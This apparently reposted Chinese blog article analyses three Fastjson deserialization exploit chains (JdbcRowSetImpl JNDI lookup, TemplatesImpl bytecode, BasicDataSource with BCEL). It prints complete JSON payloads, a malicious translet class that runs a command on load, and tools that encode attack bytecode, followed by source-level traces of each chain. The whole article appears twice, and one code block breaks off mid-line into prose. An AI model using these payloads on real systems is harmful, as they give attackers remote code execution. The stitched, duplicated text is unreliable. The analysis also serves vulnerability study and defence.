你看,F(xiàn)astjson 漏洞也太多了吧。。
點擊關(guān)注公眾號,Java干貨及時送達
Fastjson已被大家分析過很多次,本文主要是對三種利用鏈做分析和對比
JdbcRowSetImpl
String?payload?=?"{\n"?+
????"????\"a\":{\n"?+
????"????????\"@type\":\"java.lang.Class\",\n"?+
????"????????\"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n"?+
????"????},\n"?+
????"????\"b\":{\n"?+
????"????????\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"?+
????"????????\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n"?+
????"????????\"autoCommit\":true\n"?+
????"????}\n"?+
????"}";
JSON.parse(payload);
payload中的a對象用來當作緩存繞過,需要關(guān)注的是第二個對象
注意到其中"autoCommit":true,反序列化時,會反射設(shè)置屬性,調(diào)用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()
????public?void?setAutoCommit(boolean?var1)?throws?SQLException?{
????????if?(this.conn?!=?null)?{
????????????this.conn.setAutoCommit(var1);
????????}?else?{
????????????//?conn為空才會調(diào)用到這里
????????????this.conn?=?this.connect();
????????????this.conn.setAutoCommit(var1);
????????}
????}
跟入com.sun.rowset.JdbcRowSetImpl.connect(),觸發(fā)lookup,加載遠程惡意對象
protected?Connection?connect()?throws?SQLException?{
????if?(this.conn?!=?null)?{
????????return?this.conn;
????}?else?if?(this.getDataSourceName()?!=?null)?{
????????try?{
????????????//?conn為空且dataSourceName不為空才會到這里
????????????InitialContext?var1?=?new?InitialContext();
????????????//?成功觸發(fā)JNDI注入
????????????DataSource?var2?=?(DataSource)var1.lookup(this.getDataSourceName());
根據(jù)lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()
????public?Object?lookup(Name?var1)?throws?NamingException?{
????????if?(var1.isEmpty())?{
????????????......
????????????return?this.decodeObject(var2,?var1.getPrefix(1));
????????}
????}
跟入decodeObject方法,看到加載了遠程Reference綁定的惡意對象
Object?var3?=?var1?instanceof?RemoteReference???((RemoteReference)var1).getReference()?:?var1;
return?NamingManager.getObjectInstance(var3,?var2,?this,?this.environment);
總結(jié):
實戰(zhàn)可以利用,JDNI注入基于較低版本的JDK,LDAP適用范圍更廣 必須能出網(wǎng),加載遠端的惡意字節(jié)碼,造成了局限性
TemplateImpl
String?payload?=?"{\"a\":{\n"?+
????"\"@type\":\"java.lang.Class\",\n"?+
????"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n"?+
????"},\n"?+
????"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","?+
????"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload,?Feature.SupportNonPublicField);
注意其中的Payload來自于惡意類,該類應(yīng)該繼承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
public?class?TEMPOC?extends?AbstractTranslet?{
????public?TEMPOC()?throws?IOException?{
????????Runtime.getRuntime().exec("calc.exe");
????}
????@Override
????public?void?transform(DOM?document,?DTMAxisIterator?iterator,?SerializationHandler?handler)?{
????}
????public?void?transform(DOM?document,?com.sun.org.apache.xml.internal.serializer.SerializationHandler[]?haFndlers)?throws?TransletException?{
????}
????public?static?void?main(String[]?args)?throws?Exception?{
????????TEMPOC?t?=?new?TEMPOC();
????}
}
類似第一條鏈,使用兩個對象繞過,其中的Payload為惡意類的字節(jié)碼再Base64編碼的結(jié)果,給出簡易的py腳本
fin?=?open(r"PATH-TO-TEMPOC.class",?"rb")
byte?=?fin.read()
fout?=?base64.b64encode(byte).decode("utf-8")
print(fout)
該鏈需要開啟Feature.SupportNonPublicField參數(shù)再反射設(shè)置屬性,查看官方說明,如果某屬性不存在set方法,但還想設(shè)置值時,需要開啟該參數(shù),這里的情況正好符合,而實際項目中很少出現(xiàn)這種情況,導致該鏈較雞肋,沒有實際的意義(其實TemplateImpl類中有set方法,比如setTransletBytecodes,但是名稱和Bytecodes不一致)
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField設(shè)置屬性時會有判斷
final?int?mask?=?Feature.SupportNonPublicField.mask;
if?(fieldDeserializer?==?null
????&&?(lexer.isEnabled(mask)
????????||?(this.beanInfo.parserFeatures?&?mask)?!=?0))?{
????......
反序列化時,fastjson中會把”_”開頭的屬性替換為空。并在outputProperties設(shè)置值時調(diào)用getOutputProperties
???public?synchronized?Properties?getOutputProperties()?{
????????try?{
????????????return?newTransformer().getOutputProperties();
????????}
????????catch?(TransformerConfigurationException?e)?{
????????????return?null;
????????}
????}
調(diào)用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法
transformer?=?new?TransformerImpl(getTransletInstance(),?_outputProperties,?_indentNumber,?_tfactory);
跟入getTransletInstance
//?name不能為空所以在payload中設(shè)置a.b
if?(_name?==?null)?return?null;
//?關(guān)鍵
if?(_class?==?null)?defineTransletClasses();
//?The?translet?needs?to?keep?a?reference?to?all?its?auxiliary
//?class?to?prevent?the?GC?from?collecting?them
AbstractTranslet?translet?=?(AbstractTranslet)?_class[_transletIndex].newInstance();
再跟入defineTransletClasses,對父類進行了驗證,這樣解釋了為什么Payload惡意類要繼承自該類。如果驗證沒有問題,將在上方的newInstance方法中實例化該類,造成RCE
private?static?String?ABSTRACT_TRANSLET
????????=?"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if?(superClass.getName().equals(ABSTRACT_TRANSLET))?{
????_transletIndex?=?i;
}
為什么_bytescode要對字節(jié)碼進行base64編碼?反序列化的過程中會調(diào)用很多類,在經(jīng)過該類com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的時候,會對字段進行一次base64的解碼
......
if?(token?==?JSONToken.LITERAL_STRING?||?token?==?JSONToken.HEX)?{
????byte[]?bytes?=?lexer.bytesValue();
????......
跟入lexer.bytesValue()方法,看到decodeBase64
public?byte[]?bytesValue()?{
????......
????//?base64解碼
????return?IOUtils.decodeBase64(buf,?np?+?1,?sp);
}
總結(jié):
TemplatesImpl類是Java反序列化界比較常用的類,更容易理解和上手 需要開啟 Feature.SupportNonPublicField,實戰(zhàn)中不適用
BasicDataSource
String?payload?=?"{\n"?+
????"????\"name\":\n"?+
????"????{\n"?+
????"????????\"@type\"?:?\"java.lang.Class\",\n"?+
????"????????\"val\"???:?\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n"?+
????"????},\n"?+
????"????\"x\"?:?{\n"?+
????"????????\"name\":?{\n"?+
????"????????????\"@type\"?:?\"java.lang.Class\",\n"?+
????"????????????\"val\"???:?\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"?+
????"????????},\n"?+
????"????????\"y\":?{\n"?+
????"????????????\"@type\":\"com.alibaba.fastjson.JSONObject\",\n"?+
????"????????????\"c\":?{\n"?+
????"????????????????\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"?+
????"????????????????\"driverClassLoader\":?{\n"?+
????"????????????????????\"@type\"?:?\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"?+
????"????????????????},\n"?+
????"????????????????\"driverClassName\":\"!!!Payload!!!\",\n"?+
????"\n"?+
????"?????????????????????\"$ref\":?\"$.x.y.c.connection\"\n"?+
????"\n"?+
????"????????????}\n"?+
????"????????}\n"?+
????"????}\n"?+
????"}";
JSON.parse(payload);
這個Payload適用于1.2.37版本,并且需要導入Tomcat相關(guān)的包
????
????????com.alibaba
????????fastjson
????????1.2.37
????
????
????????org.apache.tomcat
????????tomcat-dbcp
????????8.0.36
????
生成driverClassName的工具如下
import?com.sun.org.apache.bcel.internal.util.ClassLoader;
import?com.sun.org.apache.bcel.internal.classfile.JavaClass;
import?com.sun.org.apache.bcel.internal.classfile.Utility;
import?com.sun.org.apache.bcel.internal.Repository;
public?class?Test?{
????public?static?void?main(String[]?args)?throws?Exception?{
????????JavaClass?cls?=?Repository.lookupClass(Exp.class);
????????String?code?=?Utility.encode(cls.getBytes(),?true);
????????code?=?"$$BCEL$$"?+?code;
????????new?ClassLoader().loadClass(code).newInstance();
????????System.out.println(code);
????}
}
BCEL的全名是Apache Commons BCEL,Apache Commons項目下的一個子項目,包含在JDK的原生庫中。我們可以通過BCEL提供的兩個類 Repository 和 Utility 來利用:Repository 用于將一個Java Class先轉(zhuǎn)換成原生字節(jié)碼,當然這里也可以直接使用javac命令來編譯java文件生成字節(jié)碼;Utility 用于將原生的字節(jié)碼轉(zhuǎn)換成BCEL格式的字節(jié)碼。
點擊關(guān)注公眾號,Java干貨及時送達
生成的BCEL格式大概如下:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
將這種格式的字符串,作為“字節(jié)碼”傳入new ClassLoader().loadClass(code).newInstance();將會被實例化,當我們在Fastjson反序列化中構(gòu)造出這種鏈,將會造成反序列化漏洞
回到Payload,開頭一部分用于繞Fastjson黑白名單,沒有什么特殊的意義,核心部分如下:
"x"?:?{
????"name":?{
????????"@type"?:?"java.lang.Class",
????????"val"???:?"com.sun.org.apache.bcel.internal.util.ClassLoader"
????},
????"y":?{
????????"@type":"com.alibaba.fastjson.JSONObject",
????????"c":?{
????????????"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
????????????"driverClassLoader":?{
????????????????"@type"?:?"com.sun.org.apache.bcel.internal.util.ClassLoader"
????????????},
????????????"driverClassName":"!!!Payload!!!",
????????????"$ref":?"$.x.y.c.connection"
????????}
????}
}
這個版本利用的是$ref這個特性:當fastjson版本>=1.2.36時,我們可以使用$ref的方式來調(diào)用任意的getter,比如這個Payload調(diào)用的是x.y.c.connection,x是這個大對象,最終調(diào)用的是c對象的connection方法,也就是BasicDataSource.connection
參考代碼com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591
if?("$ref"?==?key?&&?context?!=?null)?{
????//?傳入的ref是$.x.y.c.connection,匹配到else
????if?("@".equals(ref))?{
????????...
????}?else?if?("..".equals(ref))?{
????????...
????}?else?if?("$".equals(ref))?{
????????...
????}?else?{
????????Object?refObj?=?parser.resolveReference(ref);
????????if?(refObj?!=?null)?{
????????????object?=?refObj;
????????}?else?{
????????????//?將$.x.y.c.connection加入到Task
????????????parser.addResolveTask(new?ResolveTask(context,?ref));
????????????parser.resolveStatus?=?DefaultJSONParser.NeedToResolve;
????????}
????}
}
//?處理后設(shè)置到context
parser.setContext(context,?object,?fieldName);
漏洞的觸發(fā)點在com.alibaba.fastjson.JSON.parse:154
parser.handleResovleTask(value);
跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465
if?(ref.startsWith("$"))?{
????refValue?=?getObject(ref);
????if?(refValue?==?null)?{
????????try?{
????????????//?看到eval感覺有東西
????????????refValue?=?JSONPath.eval(value,?ref);
????????}?catch?(JSONPathException?ex)?{
????????????//?skip
????????}
????}
}
跟入JSONPath.eval,這里的segement數(shù)組中的是[x,y,c,connection]
public?Object?eval(Object?rootObject)?{
????if?(rootObject?==?null)?{
????????return?null;
????}
????init();
????Object?currentObject?=?rootObject;
????for?(int?i?=?0;?i?????????Segement?segement?=?segments[i];
????????//?繼續(xù)跟入
????????currentObject?=?segement.eval(this,?rootObject,?currentObject);
????}
????return?currentObject;
}
到達com.alibaba.fastjson.JSONPath:1350
public?Object?eval(JSONPath?path,?Object?rootObject,?Object?currentObject)?{
????if?(deep)?{
????????List繼續(xù)跟入path.getPropertyValue
protected?Object?getPropertyValue(Object?currentObject,?String?propertyName,?long?propertyNameHash)?{
????if?(currentObject?==?null)?{
????????return?null;
????}
????if?(currentObject?instanceof?Map)?{
????????Map?map?=?(Map)?currentObject;
????????Object?val?=?map.get(propertyName);
????????if?(val?==?null?&&?SIZE?==?propertyNameHash)?{
????????????val?=?map.size();
????????}
????????return?val;
????}
????final?Class>?currentClass?=?currentObject.getClass();
????JavaBeanSerializer?beanSerializer?=?getJavaBeanSerializer(currentClass);
????if?(beanSerializer?!=?null)?{
????????try?{
????????????//?最后一次循環(huán)到達這里
????????????return?beanSerializer.getFieldValue(currentObject,?propertyName,?propertyNameHash,?false);
????????}?catch?(Exception?e)?{
????????????throw?new?JSONPathException("jsonpath?error,?path?"?+?path?+?",?segement?"?+?propertyName,?e);
????????}
????}
跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439
public?Object?getFieldValue(Object?object,?String?key,?long?keyHash,?boolean?throwFieldNotFoundException)?{
????FieldSerializer?fieldDeser?=?getFieldSerializer(keyHash);
????......
????//?跟入
????return?fieldDeser.getPropertyValue(object);
}
跟入com.alibaba.fastjson.serializer.FieldSerializer:145
public?Object?getPropertyValue(Object?object)?throws?InvocationTargetException,?IllegalAccessException?{
????Object?propertyValue?=??fieldInfo.get(object);
到達com.alibaba.fastjson.util.FieldInfo,達到最終觸發(fā)點:method.invoke
public?Object?get(Object?javaObject)?throws?IllegalAccessException,?InvocationTargetException?{
????return?method?!=?null
??????????????method.invoke(javaObject)
????????????:?field.get(javaObject);
}
看到這里的javaObject正是BasicDataSouce

回到BasicDataSource本身
public?Connection?getConnection()?throws?SQLException?{
????if?(Utils.IS_SECURITY_ENABLED)?{
????????//?跟入
????????final?PrivilegedExceptionAction?action?=?new?PaGetConnection();
????????try?{
????????????return?AccessController.doPrivileged(action);
????????}?catch?(final?PrivilegedActionException?e)?{
????????????final?Throwable?cause?=?e.getCause();
????????????if?(cause?instanceof?SQLException)?{
????????????????throw?(SQLException)?cause;
????????????}
????????????throw?new?SQLException(e);
????????}
????}
????return?createDataSource().getConnection();
}
????private?class?PaGetConnection?implements?PrivilegedExceptionAction?{
????????@Override
????????public?Connection?run()?throws?SQLException?{
????????????//?跟入createDataSource()
????????????return?createDataSource().getConnection();
????????}
????}
//?繼續(xù)跟入createConnectionFactory()
final?ConnectionFactory?driverConnectionFactory?=?createConnectionFactory();
最終觸發(fā)點,其中driverClassName和driverClassLoader都是可控的,由用戶輸入,指定ClassLoader為com.sun.org.apache.bcel.internal.util.ClassLoader,設(shè)置ClassName為BCEL...這種格式后,在newInstance方法執(zhí)行后被實例化。第二個參數(shù)initial為true時,類加載后將會直接執(zhí)行static{}塊中的代碼。
推薦一個 Spring Boot 基礎(chǔ)教程及實戰(zhàn)示例:https://github.com/javastacks/javastack
if?(driverClassLoader?==?null)?{
????driverFromCCL?=?Class.forName(driverClassName);
}?else?{
????driverFromCCL?=?Class.forName(
????????driverClassName,?true,?driverClassLoader);
}
...
driverFromCCL?=?Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse?=?(Driver)?driverFromCCL.newInstance();
總結(jié):
不需要出網(wǎng),不需要開啟特殊的參數(shù),適用范圍較廣 目標需要引入tomcat依賴,雖說比較常見,但也是一種限制
Fastjson已被大家分析過很多次,本文主要是對三種利用鏈做分析和對比。
最新面試題整理好了,點擊Java面試庫小程序在線刷題。
JdbcRowSetImpl
String?payload?=?"{\n"?+
????"????\"a\":{\n"?+
????"????????\"@type\":\"java.lang.Class\",\n"?+
????"????????\"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n"?+
????"????},\n"?+
????"????\"b\":{\n"?+
????"????????\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"?+
????"????????\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n"?+
????"????????\"autoCommit\":true\n"?+
????"????}\n"?+
????"}";
JSON.parse(payload);
payload中的a對象用來當作緩存繞過,需要關(guān)注的是第二個對象
注意到其中"autoCommit":true,反序列化時,會反射設(shè)置屬性,調(diào)用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()
????public?void?setAutoCommit(boolean?var1)?throws?SQLException?{
????????if?(this.conn?!=?null)?{
????????????this.conn.setAutoCommit(var1);
????????}?else?{
????????????//?conn為空才會調(diào)用到這里
????????????this.conn?=?this.connect();
????????????this.conn.setAutoCommit(var1);
????????}
????}
跟入com.sun.rowset.JdbcRowSetImpl.connect(),觸發(fā)lookup,加載遠程惡意對象
protected?Connection?connect()?throws?SQLException?{
????if?(this.conn?!=?null)?{
????????return?this.conn;
????}?else?if?(this.getDataSourceName()?!=?null)?{
????????try?{
????????????//?conn為空且dataSourceName不為空才會到這里
????????????InitialContext?var1?=?new?InitialContext();
????????????//?成功觸發(fā)JNDI注入
????????????DataSource?var2?=?(DataSource)var1.lookup(this.getDataSourceName());
根據(jù)lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()
????public?Object?lookup(Name?var1)?throws?NamingException?{
????????if?(var1.isEmpty())?{
????????????......
????????????return?this.decodeObject(var2,?var1.getPrefix(1));
????????}
????}
跟入decodeObject方法,看到加載了遠程Reference綁定的惡意對象
Object?var3?=?var1?instanceof?RemoteReference???((RemoteReference)var1).getReference()?:?var1;
return?NamingManager.getObjectInstance(var3,?var2,?this,?this.environment);
總結(jié):
實戰(zhàn)可以利用,JDNI注入基于較低版本的JDK,LDAP適用范圍更廣 必須能出網(wǎng),加載遠端的惡意字節(jié)碼,造成了局限性
點擊關(guān)注公眾號,Java干貨送達
TemplateImpl
String?payload?=?"{\"a\":{\n"?+
????"\"@type\":\"java.lang.Class\",\n"?+
????"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n"?+
????"},\n"?+
????"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","?+
????"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload,?Feature.SupportNonPublicField);
注意其中的Payload來自于惡意類,該類應(yīng)該繼承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
public?class?TEMPOC?extends?AbstractTranslet?{
????public?TEMPOC()?throws?IOException?{
????????Runtime.getRuntime().exec("calc.exe");
????}
????@Override
????public?void?transform(DOM?document,?DTMAxisIterator?iterator,?SerializationHandler?handler)?{
????}
????public?void?transform(DOM?document,?com.sun.org.apache.xml.internal.serializer.SerializationHandler[]?haFndlers)?throws?TransletException?{
????}
????public?static?void?main(String[]?args)?throws?Exception?{
????????TEMPOC?t?=?new?TEMPOC();
????}
}
類似第一條鏈,使用兩個對象繞過,其中的Payload為惡意類的字節(jié)碼再Base64編碼的結(jié)果,給出簡易的py腳本
fin?=?open(r"PATH-TO-TEMPOC.class",?"rb")
byte?=?fin.read()
fout?=?base64.b64encode(byte).decode("utf-8")
print(fout)
該鏈需要開啟Feature.SupportNonPublicField參數(shù)再反射設(shè)置屬性,查看官方說明,如果某屬性不存在set方法,但還想設(shè)置值時,需要開啟該參數(shù),這里的情況正好符合,而實際項目中很少出現(xiàn)這種情況,導致該鏈較雞肋,沒有實際的意義(其實TemplateImpl類中有set方法,比如setTransletBytecodes,但是名稱和Bytecodes不一致)
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField設(shè)置屬性時會有判斷
final?int?mask?=?Feature.SupportNonPublicField.mask;
if?(fieldDeserializer?==?null
????&&?(lexer.isEnabled(mask)
????????||?(this.beanInfo.parserFeatures?&?mask)?!=?0))?{
????......
反序列化時,fastjson中會把”_”開頭的屬性替換為空。并在outputProperties設(shè)置值時調(diào)用getOutputProperties
???public?synchronized?Properties?getOutputProperties()?{
????????try?{
????????????return?newTransformer().getOutputProperties();
????????}
????????catch?(TransformerConfigurationException?e)?{
????????????return?null;
????????}
????}
調(diào)用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法
transformer?=?new?TransformerImpl(getTransletInstance(),?_outputProperties,?_indentNumber,?_tfactory);
跟入getTransletInstance
//?name不能為空所以在payload中設(shè)置a.b
if?(_name?==?null)?return?null;
//?關(guān)鍵
if?(_class?==?null)?defineTransletClasses();
//?The?translet?needs?to?keep?a?reference?to?all?its?auxiliary
//?class?to?prevent?the?GC?from?collecting?them
AbstractTranslet?translet?=?(AbstractTranslet)?_class[_transletIndex].newInstance();
再跟入defineTransletClasses,對父類進行了驗證,這樣解釋了為什么Payload惡意類要繼承自該類。如果驗證沒有問題,將在上方的newInstance方法中實例化該類,造成RCE
private?static?String?ABSTRACT_TRANSLET
????????=?"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if?(superClass.getName().equals(ABSTRACT_TRANSLET))?{
????_transletIndex?=?i;
}
為什么_bytescode要對字節(jié)碼進行base64編碼?反序列化的過程中會調(diào)用很多類,在經(jīng)過該類com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的時候,會對字段進行一次base64的解碼
......
if?(token?==?JSONToken.LITERAL_STRING?||?token?==?JSONToken.HEX)?{
????byte[]?bytes?=?lexer.bytesValue();
????......
跟入lexer.bytesValue()方法,看到decodeBase64
public?byte[]?bytesValue()?{
????......
????//?base64解碼
????return?IOUtils.decodeBase64(buf,?np?+?1,?sp);
}
總結(jié):
TemplatesImpl類是Java反序列化界比較常用的類,更容易理解和上手 需要開啟 Feature.SupportNonPublicField,實戰(zhàn)中不適用
BasicDataSource
String?payload?=?"{\n"?+
????"????\"name\":\n"?+
????"????{\n"?+
????"????????\"@type\"?:?\"java.lang.Class\",\n"?+
????"????????\"val\"???:?\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n"?+
????"????},\n"?+
????"????\"x\"?:?{\n"?+
????"????????\"name\":?{\n"?+
????"????????????\"@type\"?:?\"java.lang.Class\",\n"?+
????"????????????\"val\"???:?\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"?+
????"????????},\n"?+
????"????????\"y\":?{\n"?+
????"????????????\"@type\":\"com.alibaba.fastjson.JSONObject\",\n"?+
????"????????????\"c\":?{\n"?+
????"????????????????\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"?+
????"????????????????\"driverClassLoader\":?{\n"?+
????"????????????????????\"@type\"?:?\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"?+
????"????????????????},\n"?+
????"????????????????\"driverClassName\":\"!!!Payload!!!\",\n"?+
????"\n"?+
????"?????????????????????\"$ref\":?\"$.x.y.c.connection\"\n"?+
????"\n"?+
????"????????????}\n"?+
????"????????}\n"?+
????"????}\n"?+
????"}";
JSON.parse(payload);
這個Payload適用于1.2.37版本,并且需要導入Tomcat相關(guān)的包
????
????????com.alibaba
????????fastjson
????????1.2.37
????
????
????????org.apache.tomcat
????????tomcat-dbcp
????????8.0.36
????
生成driverClassName的工具如下
import?com.sun.org.apache.bcel.internal.util.ClassLoader;
import?com.sun.org.apache.bcel.internal.classfile.JavaClass;
import?com.sun.org.apache.bcel.internal.classfile.Utility;
import?com.sun.org.apache.bcel.internal.Repository;
public?class?Test?{
????public?static?void?main(String[]?args)?throws?Exception?{
????????JavaClass?cls?=?Repository.lookupClass(Exp.class);
????????String?code?=?Utility.encode(cls.getBytes(),?true);
????????code?=?"$$BCEL$$"?+?code;
????????new?ClassLoader().loadClass(code).newInstance();
????????System.out.println(code);
????}
}
BCEL的全名是Apache Commons BCEL,Apache Commons項目下的一個子項目,包含在JDK的原生庫中。我們可以通過BCEL提供的兩個類 Repository 和 Utility 來利用:Repository 用于將一個Java Class先轉(zhuǎn)換成原生字節(jié)碼,當然這里也可以直接使用javac命令來編譯java文件生成字節(jié)碼;Utility 用于將原生的字節(jié)碼轉(zhuǎn)換成BCEL格式的字節(jié)碼。
最新面試題整理好了,點擊Java面試庫小程序在線刷題。
生成的BCEL格式大概如下:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
將這種格式的字符串,作為“字節(jié)碼”傳入new ClassLoader().loadClass(code).newInstance();將會被實例化,當我們在Fastjson反序列化中構(gòu)造出這種鏈,將會造成反序列化漏洞
回到Payload,開頭一部分用于繞Fastjson黑白名單,沒有什么特殊的意義,核心部分如下:
"x"?:?{
????"name":?{
????????"@type"?:?"java.lang.Class",
????????"val"???:?"com.sun.org.apache.bcel.internal.util.ClassLoader"
????},
????"y":?{
????????"@type":"com.alibaba.fastjson.JSONObject",
????????"c":?{
????????????"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
????????????"driverClassLoader":?{
????????????????"@type"?:?"com.sun.org.apache.bcel.internal.util.ClassLoader"
????????????},
????????????"driverClassName":"!!!Payload!!!",
????????????"$ref":?"$.x.y.c.connection"
????????}
????}
}
這個版本利用的是$ref這個特性:當fastjson版本>=1.2.36時,我們可以使用$ref的方式來調(diào)用任意的getter,比如這個Payload調(diào)用的是x.y.c.connection,x是這個大對象,最終調(diào)用的是c對象的connection方法,也就是BasicDataSource.connection
參考代碼com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591
if?("$ref"?==?key?&&?context?!=?null)?{
????//?傳入的ref是$.x.y.c.connection,匹配到else
????if?("@".equals(ref))?{
????????...
????}?else?if?("..".equals(ref))?{
????????...
????}?else?if?("$".equals(ref))?{
????????...
????}?else?{
????????Object?refObj?=?parser.resolveReference(ref);
????????if?(refObj?!=?null)?{
????????????object?=?refObj;
????????}?else?{
????????????//?將$.x.y.c.connection加入到Task
????????????parser.addResolveTask(new?ResolveTask(context,?ref));
????????????parser.resolveStatus?=?DefaultJSONParser.NeedToResolve;
????????}
????}
}
//?處理后設(shè)置到context
parser.setContext(context,?object,?fieldName);
漏洞的觸發(fā)點在com.alibaba.fastjson.JSON.parse:154
parser.handleResovleTask(value);
跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465
if?(ref.startsWith("$"))?{
????refValue?=?getObject(ref);
????if?(refValue?==?null)?{
????????try?{
????????????//?看到eval感覺有東西
????????????refValue?=?JSONPath.eval(value,?ref);
????????}?catch?(JSONPathException?ex)?{
????????????//?skip
????????}
????}
}
跟入JSONPath.eval,這里的segement數(shù)組中的是[x,y,c,connection]
public?Object?eval(Object?rootObject)?{
????if?(rootObject?==?null)?{
????????return?null;
????}
????init();
????Object?currentObject?=?rootObject;
????for?(int?i?=?0;?i?????????Segement?segement?=?segments[i];
????????//?繼續(xù)跟入
????????currentObject?=?segement.eval(this,?rootObject,?currentObject);
????}
????return?currentObject;
}
到達com.alibaba.fastjson.JSONPath:1350
public?Object?eval(JSONPath?path,?Object?rootObject,?Object?currentObject)?{
????if?(deep)?{
????????List?results?=?new?ArrayList();
????????path.deepScan(currentObject,?propertyName,?results);
????????return?results;
????}?else?{
????????//?return?path.getPropertyValue(currentObject,?propertyName,?true);
????????return?path.getPropertyValue(currentObject,?propertyName,?propertyNameHash);
????}
}
繼續(xù)跟入path.getPropertyValue
protected?Object?getPropertyValue(Object?currentObject,?String?propertyName,?long?propertyNameHash)?{
????if?(currentObject?==?null)?{
????????return?null;
????}
????if?(currentObject?instanceof?Map)?{
????????Map?map?=?(Map)?currentObject;
????????Object?val?=?map.get(propertyName);
????????if?(val?==?null?&&?SIZE?==?propertyNameHash)?{
????????????val?=?map.size();
????????}
????????return?val;
????}
????final?Class>?currentClass?=?currentObject.getClass();
????JavaBeanSerializer?beanSerializer?=?getJavaBeanSerializer(currentClass);
????if?(beanSerializer?!=?null)?{
????????try?{
????????????//?最后一次循環(huán)到達這里
????????????return?beanSerializer.getFieldValue(currentObject,?propertyName,?propertyNameHash,?false);
????????}?catch?(Exception?e)?{
????????????throw?new?JSONPathException("jsonpath?error,?path?"?+?path?+?",?segement?"?+?propertyName,?e);
????????}
????}
跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439
public?Object?getFieldValue(Object?object,?String?key,?long?keyHash,?boolean?throwFieldNotFoundException)?{
????FieldSerializer?fieldDeser?=?getFieldSerializer(keyHash);
????......
????//?跟入
????return?fieldDeser.getPropertyValue(object);
}
跟入com.alibaba.fastjson.serializer.FieldSerializer:145
public?Object?getPropertyValue(Object?object)?throws?InvocationTargetException,?IllegalAccessException?{
????Object?propertyValue?=??fieldInfo.get(object);
到達com.alibaba.fastjson.util.FieldInfo,達到最終觸發(fā)點:method.invoke
public?Object?get(Object?javaObject)?throws?IllegalAccessException,?InvocationTargetException?{
????return?method?!=?null
??????????????method.invoke(javaObject)
????????????:?field.get(javaObject);
}
看到這里的javaObject正是BasicDataSouce

回到BasicDataSource本身
public?Connection?getConnection()?throws?SQLException?{
????if?(Utils.IS_SECURITY_ENABLED)?{
????????//?跟入
????????final?PrivilegedExceptionAction?action?=?new?PaGetConnection();
????????try?{
????????????return?AccessController.doPrivileged(action);
????????}?catch?(final?PrivilegedActionException?e)?{
????????????final?Throwable?cause?=?e.getCause();
????????????if?(cause?instanceof?SQLException)?{
????????????????throw?(SQLException)?cause;
????????????}
????????????throw?new?SQLException(e);
????????}
????}
????return?createDataSource().getConnection();
}
????private?class?PaGetConnection?implements?PrivilegedExceptionAction?{
????????@Override
????????public?Connection?run()?throws?SQLException?{
????????????//?跟入createDataSource()
????????????return?createDataSource().getConnection();
????????}
????}
//?繼續(xù)跟入createConnectionFactory()
final?ConnectionFactory?driverConnectionFactory?=?createConnectionFactory();
最終觸發(fā)點,其中driverClassName和driverClassLoader都是可控的,由用戶輸入,指定ClassLoader為com.sun.org.apache.bcel.internal.util.ClassLoader,設(shè)置ClassName為BCEL...這種格式后,在newInstance方法執(zhí)行后被實例化。第二個參數(shù)initial為true時,類加載后將會直接執(zhí)行static{}塊中的代碼。
if?(driverClassLoader?==?null)?{
????driverFromCCL?=?Class.forName(driverClassName);
}?else?{
????driverFromCCL?=?Class.forName(
????????driverClassName,?true,?driverClassLoader);
}
...
driverFromCCL?=?Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse?=?(Driver)?driverFromCCL.newInstance();
總結(jié):
不需要出網(wǎng),不需要開啟特殊的參數(shù),適用范圍較廣 目標需要引入tomcat依賴,雖說比較常見,但也是一種限制







關(guān)注Java技術(shù)??锤喔韶?/strong>


